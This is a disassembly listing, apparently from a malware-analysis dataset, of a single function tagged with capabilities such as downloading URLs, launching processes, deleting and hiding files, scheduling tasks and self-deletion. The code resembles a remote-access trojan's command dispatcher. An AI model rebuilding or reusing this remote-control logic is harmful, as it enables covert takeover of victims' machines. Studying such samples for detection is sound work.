Function at 0x474f94
Capabilities:
Copy file
Create process on windows
Delete file
Download url
Get memory capacity
Lock the desktop
Receive data
Schedule task via at
Self delete
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xf5
push 0
push 0
dec ecx
jne 0x474f9c
push ebx
push esi
push edi
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
call fcn.004059cc
lea eax, [ebp - 0x198]
mov edx, dword [0x408b18]
call fcn.00405fe8
xor eax, eax
push ebp
push 0x47c2be
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x47c191
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 8]
mov edx, 0x47c2d8
call fcn.00405974
jne 0x474ff7
mov eax, 0x47c2e8
call fcn.00474d1c
lea eax, [ebp - 0x20c]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x20c]
mov edx, 0x47c2f8
call fcn.00405974
jne 0x475049
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00489a74
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47c19b
lea eax, [ebp - 0x210]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x210]
mov edx, 0x47c30c
call fcn.00405974
jne 0x475093
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409ecc
call fcn.0048734c
lea eax, [ebp - 0x214]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x214]
mov edx, 0x47c320
call fcn.00405974
jne 0x475335
lea eax, [ebp - 8]
mov ecx, 6
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [0x492628]
mov edx, dword [ebp - 0xc]
call fcn.00405584
lea eax, [ebp - 0x1c]
call fcn.0048b580
movzx eax, byte [0x47c334]
push eax
lea eax, [ebp - 0x218]
push eax
mov ecx, 0x47c340
mov edx, 0x47c330
mov eax, dword [ebp - 0x1c]
call fcn.0040ef34
mov edx, dword [ebp - 0x218]
lea eax, [ebp - 0x1c]
call fcn.004055c8
call fcn.0048b6ec
test al, al
je 0x475178
lea eax, [ebp - 0x14]
mov edx, 0x47c34c
call fcn.004055c8
jmp 0x475185
lea eax, [ebp - 0x14]
mov edx, 0x47c35c
call fcn.004055c8
lea eax, [ebp - 0x21c]
call fcn.0048b5fc
cmp dword [ebp - 0x21c], 0
je 0x4751a8
lea eax, [ebp - 0x18]
mov edx, 0x47c36c
call fcn.004055c8
jmp 0x4751b0
lea eax, [ebp - 0x18]
call fcn.00405530
push 0x47c378
mov eax, dword [0x4923e8]
push dword [eax]
push 0x47c330
push dword [ebp - 0xc]
push 0x47c388
push 0x47c394
lea eax, [ebp - 0x224]
call fcn.004609b4
push dword [ebp - 0x224]
push 0x47c3a0
lea edx, [ebp - 0x228]
mov eax, dword [0x49248c]
movzx eax, word [eax]
call fcn.00409d60
push dword [ebp - 0x228]
push 0x47c330
lea eax, [ebp - 0x22c]
call fcn.0048b4f8
push dword [ebp - 0x22c]
push 0x47c388
lea eax, [ebp - 0x230]
call fcn.0048b4bc
push dword [ebp - 0x230]
push 0x47c330
push dword [ebp - 0x10]
push 0x47c330
call fcn.0048875c
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x234]
call fcn.00409e4c
push dword [ebp - 0x234]
push 0x47c3b0
push 0x47c330
lea eax, [ebp - 0x238]
call fcn.0048ba0c
push dword [ebp - 0x238]
push dword [ebp - 0x14]
push 0x47c3bc
lea eax, [ebp - 0x240]
call fcn.0048bd4c
mov eax, dword [ebp - 0x240]
lea edx, [ebp - 0x23c]
call fcn.0040a590
push dword [ebp - 0x23c]
push 0x47c3c8
push 0x47c330
lea eax, [ebp - 0x244]
call fcn.00489f50
push dword [ebp - 0x244]
push 0x47c330
push dword [ebp - 0x18]
push 0x47c330
lea eax, [ebp - 0x248]
call fcn.0048b534
push dword [ebp - 0x248]
push 0x47c330
push dword [ebp - 0x1c]
push 0x47c330
mov eax, dword [0x4923c8]
push dword [eax]
push 0x47c330
lea eax, [ebp - 0x24c]
call fcn.0048c354
push dword [ebp - 0x24c]
push 0x47c330
lea eax, [ebp - 0x250]
call fcn.0048c278
push dword [ebp - 0x250]
push 0x47c330
mov eax, dword [0x49249c]
push dword [eax]
lea eax, [ebp - 0x220]
mov edx, 0x28
call fcn.004058e0
mov eax, dword [ebp - 0x220]
call fcn.00474d1c
lea eax, [ebp - 0x254]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x254]
mov edx, 0x47c3d4
call fcn.00405974
jne 0x475428
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x258]
call fcn.0048b5fc
cmp dword [ebp - 0x258], 0
je 0x475399
lea eax, [ebp - 0xc]
mov edx, 0x47c36c
call fcn.004055c8
jmp 0x4753a1
lea eax, [ebp - 0xc]
call fcn.00405530
push 0x47c3e8
mov eax, dword [0x4923e8]
push dword [eax]
push 0x47c330
push dword [ebp - 8]
push 0x47c330
call fcn.0048875c
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x260]
call fcn.00409e4c
push dword [ebp - 0x260]
push 0x47c3b0
push 0x47c330
push dword [ebp - 0xc]
push 0x47c330
lea eax, [ebp - 0x264]
call fcn.0048c354
push dword [ebp - 0x264]
push 0x47c330
lea eax, [ebp - 0x268]
call fcn.0048b580
push dword [ebp - 0x268]
lea eax, [ebp - 0x25c]
mov edx, 0xd
call fcn.004058e0
mov eax, dword [ebp - 0x25c]
call fcn.00474d1c
lea eax, [ebp - 0x26c]
push eax
mov ecx, 3
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x26c]
mov edx, 0x47c3fc
call fcn.00405974
jne 0x47547c
lea eax, [ebp - 8]
mov ecx, 3
mov edx, 1
call fcn.00405a84
push 0x40
push 0x47c400
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0
call sub.user32.dll_MessageBoxA_1
lea eax, [ebp - 0x270]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x270]
mov edx, 0x47c40c
call fcn.00405974
jne 0x4754d4
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
push 5
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x47c418
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 8]
mov edx, 0x47c428
call fcn.00405974
jne 0x47550f
lea eax, [ebp - 0x278]
call fcn.00467cc0
mov ecx, dword [ebp - 0x278]
lea eax, [ebp - 0x274]
mov edx, 0x47c43c
call fcn.00405864
mov eax, dword [ebp - 0x274]
call fcn.00474d1c
mov eax, dword [ebp - 8]
mov edx, 0x47c44c
call fcn.00405974
jne 0x47554a
lea eax, [ebp - 0x280]
call fcn.00467cc0
mov ecx, dword [ebp - 0x280]
lea eax, [ebp - 0x27c]
mov edx, 0x47c464
call fcn.00405864
mov eax, dword [ebp - 0x27c]
call fcn.00474d1c
mov eax, dword [ebp - 8]
mov edx, 0x47c478
call fcn.00405974
jne 0x475585
lea eax, [ebp - 0x288]
call fcn.00487228
mov ecx, dword [ebp - 0x288]
lea eax, [ebp - 0x284]
mov edx, 0x47c48c
call fcn.00405864
mov eax, dword [ebp - 0x284]
call fcn.00474d1c
lea eax, [ebp - 0x28c]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x28c]
mov edx, 0x47c49c
call fcn.00405974
jne 0x4756a9
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea edx, [ebp - 0x290]
mov eax, dword [ebp - 0xc]
call fcn.0046786c
mov eax, dword [ebp - 0x290]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
call fcn.00474ec8
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47c4ac
call fcn.00405974
jne 0x4756e6
lea edx, [ebp - 0x298]
xor eax, eax
call fcn.00489414
mov ecx, dword [ebp - 0x298]
lea eax, [ebp - 0x294]
mov edx, 0x47c4c0
call fcn.00405864
mov eax, dword [ebp - 0x294]
call fcn.00474d1c
mov eax, dword [ebp - 8]
mov edx, 0x47c4d0
call fcn.00405974
jne 0x475726
lea edx, [ebp - 0x2a0]
mov eax, 5
call fcn.00489414
mov ecx, dword [ebp - 0x2a0]
lea eax, [ebp - 0x29c]
mov edx, 0x47c4c0
call fcn.00405864
mov eax, dword [ebp - 0x29c]
call fcn.00474d1c
mov eax, dword [ebp - 8]
mov edx, 0x47c4e4
call fcn.00405974
jne 0x47573f
call sub.kernel32.dll_GetCurrentProcessId
call fcn.00483944
mov eax, dword [ebp - 8]
mov edx, 0x47c4f8
call fcn.00405974
jne 0x47575b
mov eax, dword [0x4925a8]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_closesocket
mov eax, dword [ebp - 8]
mov edx, 0x47c510
call fcn.00405974
jne 0x475800
lea edx, [ebp - 0x2a4]
mov eax, 0x47c528
call fcn.0046d960
mov eax, dword [ebp - 0x2a4]
mov edx, 0x47c534
call fcn.00405974
je 0x4757ca
push 0x47c540
lea edx, [ebp - 0x2ac]
xor eax, eax
call fcn.0040f224
push dword [ebp - 0x2ac]
push 0x47c568
lea eax, [ebp - 0x2a8]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x2a8]
call fcn.004677d8
jmp 0x4757f6
push 0x47c540
mov eax, dword [0x492338]
push dword [eax]
push 0x47c568
lea eax, [ebp - 0x2b0]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x2b0]
call fcn.004677d8
call sub.kernel32.dll_GetCurrentProcessId
call fcn.00483944
lea eax, [ebp - 0x2b4]
push eax
mov ecx, 0x12
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2b4]
mov edx, 0x47c574
call fcn.00405974
jne 0x475857
lea eax, [ebp - 8]
mov ecx, 0x12
mov edx, 1
call fcn.00405a84
xor ecx, ecx
mov edx, dword [ebp - 8]
xor eax, eax
call fcn.00488860
test al, al
jne 0x475857
mov eax, 0x47c590
call fcn.00474d1c
lea eax, [ebp - 0x2b8]
push eax
mov ecx, 0xf
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2b8]
mov edx, 0x47c5a0
call fcn.00405974
jne 0x475984
lea eax, [ebp - 8]
mov ecx, 0xf
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea edx, [ebp - 0x2bc]
mov eax, dword [ebp - 0xc]
call fcn.00409b6c
cmp dword [ebp - 0x2bc], 0
je 0x475942
push 5
lea edx, [ebp - 0x2c0]
mov eax, dword [ebp - 0xc]
call fcn.0040a590
mov eax, dword [ebp - 0x2c0]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
push 0x47c418
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x475984
mov eax, 0x47c5b8
call fcn.00474d1c
jmp 0x475984
push 5
lea edx, [ebp - 0x2c4]
mov eax, dword [ebp - 0xc]
call fcn.0040a590
mov eax, dword [ebp - 0x2c4]
call fcn.004059dc
push eax
push 0
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
push 0x47c418
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x475984
mov eax, 0x47c5b8
call fcn.00474d1c
lea eax, [ebp - 0x2c8]
push eax
mov ecx, 0x11
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2c8]
mov edx, 0x47c5cc
call fcn.00405974
jne 0x475ab1
lea eax, [ebp - 8]
mov ecx, 0x11
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea edx, [ebp - 0x2cc]
mov eax, dword [ebp - 0xc]
call fcn.00409b6c
cmp dword [ebp - 0x2cc], 0
je 0x475a6f
push 0
lea edx, [ebp - 0x2d0]
mov eax, dword [ebp - 0xc]
call fcn.0040a590
mov eax, dword [ebp - 0x2d0]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
push 0x47c418
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x475ab1
mov eax, 0x47c5b8
call fcn.00474d1c
jmp 0x475ab1
push 0
lea edx, [ebp - 0x2d4]
mov eax, dword [ebp - 0xc]
call fcn.0040a590
mov eax, dword [ebp - 0x2d4]
call fcn.004059dc
push eax
push 0
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
push 0x47c418
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x475ab1
mov eax, 0x47c5b8
call fcn.00474d1c
lea eax, [ebp - 0x2d8]
push eax
mov ecx, 7
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2d8]
mov edx, 0x47c5e8
call fcn.00405974
jne 0x475b3d
lea eax, [ebp - 8]
mov ecx, 7
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409ecc
mov edx, eax
mov eax, dword [ebp - 0xc]
call fcn.00488908
lea eax, [ebp - 0x2dc]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2dc]
mov edx, 0x47c5f8
call fcn.00405974
jne 0x475c52
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c60c
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c60c
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409ecc
dec eax
jle 0x475c44
mov eax, dword [ebp - 8]
call fcn.00409ecc
mov ebx, eax
test ebx, ebx
jl 0x475c52
inc ebx
xor esi, esi
mov eax, dword [ebp - 8]
call fcn.00409ecc
cmp esi, eax
jne 0x475bf3
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
jmp 0x475c3e
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov edx, dword [ebp - 0xc]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
inc esi
dec ebx
jne 0x475bd7
jmp 0x475c52
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
lea eax, [ebp - 0x2e0]
push eax
mov ecx, 0x10
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2e0]
mov edx, 0x47c618
call fcn.00405974
jne 0x475d55
lea eax, [ebp - 8]
mov ecx, 0x10
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c60c
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c60c
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409ecc
dec eax
jle 0x475d4d
mov eax, dword [ebp - 8]
call fcn.00409ecc
mov ebx, eax
test ebx, ebx
jl 0x475d55
inc ebx
xor esi, esi
mov eax, dword [ebp - 8]
call fcn.00409ecc
cmp esi, eax
jne 0x475d02
mov eax, dword [ebp - 0xc]
call fcn.00488a10
jmp 0x475d47
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov edx, dword [ebp - 0xc]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 0x10]
call fcn.00488a10
inc esi
dec ebx
jne 0x475cec
jmp 0x475d55
mov eax, dword [ebp - 0xc]
call fcn.00488a10
mov eax, dword [ebp - 8]
mov edx, 0x47c634
call fcn.00405974
jne 0x475d69
call fcn.00488ab4
lea eax, [ebp - 0x2e4]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2e4]
mov edx, 0x47c648
call fcn.00405974
jne 0x475db9
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
push 0x80
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2e8]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2e8]
mov edx, 0x47c660
call fcn.00405974
jne 0x475e06
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
push 2
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2ec]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2ec]
mov edx, 0x47c678
call fcn.00405974
jne 0x475e53
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
push 1
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2f0]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2f0]
mov edx, 0x47c68c
call fcn.00405974
jne 0x475ea0
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
push 4
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2f4]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2f4]
mov edx, 0x47c6a4
call fcn.00405974
jne 0x475eed
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
push 0x20
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2f8]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2f8]
mov edx, 0x47c6bc
call fcn.00405974
jne 0x475f3d
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
push pe_nt_image_headers32
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x2fc]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x2fc]
mov edx, 0x47c6d0
call fcn.00405974
jne 0x476074
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
lea ecx, [ebp - 0x198]
mov edx, 0x3f
mov eax, dword [ebp - 8]
call fcn.0040a478
mov ebx, dword [ebp - 0x188]
test ebx, 2
jle 0x475fae
lea eax, [ebp - 0xc]
mov edx, 0x47c6e8
call fcn.004055c8
jmp 0x475fbb
lea eax, [ebp - 0xc]
mov edx, 0x47c6f8
call fcn.004055c8
test ebx, 1
jle 0x475fd2
lea eax, [ebp - 0x10]
mov edx, 0x47c704
call fcn.004055c8
jmp 0x475fdf
lea eax, [ebp - 0x10]
mov edx, 0x47c6f8
call fcn.004055c8
test ebx, 0x20
jle 0x475ff6
lea eax, [ebp - 0x14]
mov edx, 0x47c718
call fcn.004055c8
jmp 0x476003
lea eax, [ebp - 0x14]
mov edx, 0x47c6f8
call fcn.004055c8
test ebx, 4
jle 0x47601a
lea eax, [ebp - 0x18]
mov edx, 0x47c728
call fcn.004055c8
jmp 0x476027
lea eax, [ebp - 0x18]
mov edx, 0x47c6f8
call fcn.004055c8
push 0x47c738
push dword [ebp - 8]
push 0x47c750
push 0x47c75c
push dword [ebp - 0xc]
push 0x47c778
push dword [ebp - 0x10]
push 0x47c778
push dword [ebp - 0x14]
push 0x47c778
push dword [ebp - 0x18]
push 0x47c784
lea eax, [ebp - 0x300]
mov edx, 0xc
call fcn.004058e0
mov eax, dword [ebp - 0x300]
call fcn.00474d1c
lea eax, [ebp - 0x304]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x304]
mov edx, 0x47c790
call fcn.00405974
jne 0x4764b5
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
mov eax, dword [0x4923f8]
cmp dword [eax], 0
je 0x4764b5
lea eax, [ebp - 0xc]
push eax
mov edx, dword [0x4923f8]
mov edx, dword [edx]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov eax, dword [0x4923f8]
mov eax, dword [eax]
mov edx, 1
call fcn.00405a44
mov edx, dword [0x4923f8]
mov edx, dword [edx]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
mov eax, dword [0x4923f8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x308]
push eax
mov edx, dword [0x4923f8]
mov edx, dword [edx]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov eax, dword [0x4923f8]
mov eax, dword [eax]
mov edx, 1
call fcn.00405a44
mov eax, dword [ebp - 0x308]
call fcn.00409ecc
mov esi, eax
mov edx, dword [0x4923f8]
mov edx, dword [edx]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
mov eax, dword [0x4923f8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [0x4923f8]
mov edx, dword [edx]
call fcn.004055c8
mov eax, dword [ebp - 0x14]
mov edx, 0x47c534
call fcn.00405974
jne 0x476351
cmp esi, 1
jle 0x476300
mov ebx, esi
test ebx, ebx
jle 0x4764a1
mov edi, 1
cmp esi, edi
je 0x4762a7
push 0xffffffffffffffff
lea eax, [ebp - 0x314]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47c60c
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x314]
lea edx, [ebp - 0x310]
call fcn.0040a67c
mov ecx, dword [ebp - 0x310]
lea eax, [ebp - 0x30c]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x30c]
call fcn.004059dc
push eax
lea eax, [ebp - 0x318]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47c60c
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x318]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x31c]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47c60c
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x31c]
mov dword [ebp - 0x1bc], eax
mov eax, dword [ebp - 0x1bc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x1bd], al
mov edx, dword [ebp - 0xc]
mov eax, 0x47c60c
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
jmp 0x4762f3
push 0xffffffffffffffff
lea edx, [ebp - 0x324]
mov eax, dword [ebp - 0xc]
call fcn.0040a67c
mov ecx, dword [ebp - 0x324]
lea eax, [ebp - 0x320]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x320]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
inc edi
dec ebx
jne 0x4761a8
jmp 0x4764a1
push 0xffffffffffffffff
lea edx, [ebp - 0x32c]
mov eax, dword [ebp - 0xc]
call fcn.0040a67c
mov ecx, dword [ebp - 0x32c]
lea eax, [ebp - 0x328]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x328]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
jmp 0x4764a1
cmp esi, 1
jle 0x476463
mov ebx, esi
test ebx, ebx
jle 0x4764a1
mov edi, 1
cmp esi, edi
je 0x47641b
push 0xffffffffffffffff
lea eax, [ebp - 0x338]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47c60c
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x338]
lea edx, [ebp - 0x334]
call fcn.0040a67c
mov ecx, dword [ebp - 0x334]
lea eax, [ebp - 0x330]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x330]
call fcn.004059dc
push eax
lea eax, [ebp - 0x33c]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47c60c
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x33c]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
